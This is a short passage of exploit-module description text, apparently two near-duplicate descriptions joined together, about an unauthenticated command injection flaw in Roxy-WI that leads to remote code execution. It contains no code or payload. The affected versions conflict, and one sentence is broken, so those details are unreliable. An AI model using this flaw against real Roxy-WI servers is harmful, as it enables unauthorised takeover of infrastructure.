This module exploits command injection vulnerability to achieve remote code execution.
Unauthenticated users can execute a terminal command under the context of the web server user.
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers. In versions 6.1.1.0 and earlier,
an unauthenticated user can execute some methods of administrator functions without needing any credentials.
Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account,
existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
or execute operating system command under the context of the web-server user.
This module exploits an unauthenticated command injection vulnerability in Roxy-WI
prior to version 6.1.1.0. Successful exploitation results in remote code execution
under the context of the web server user.
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
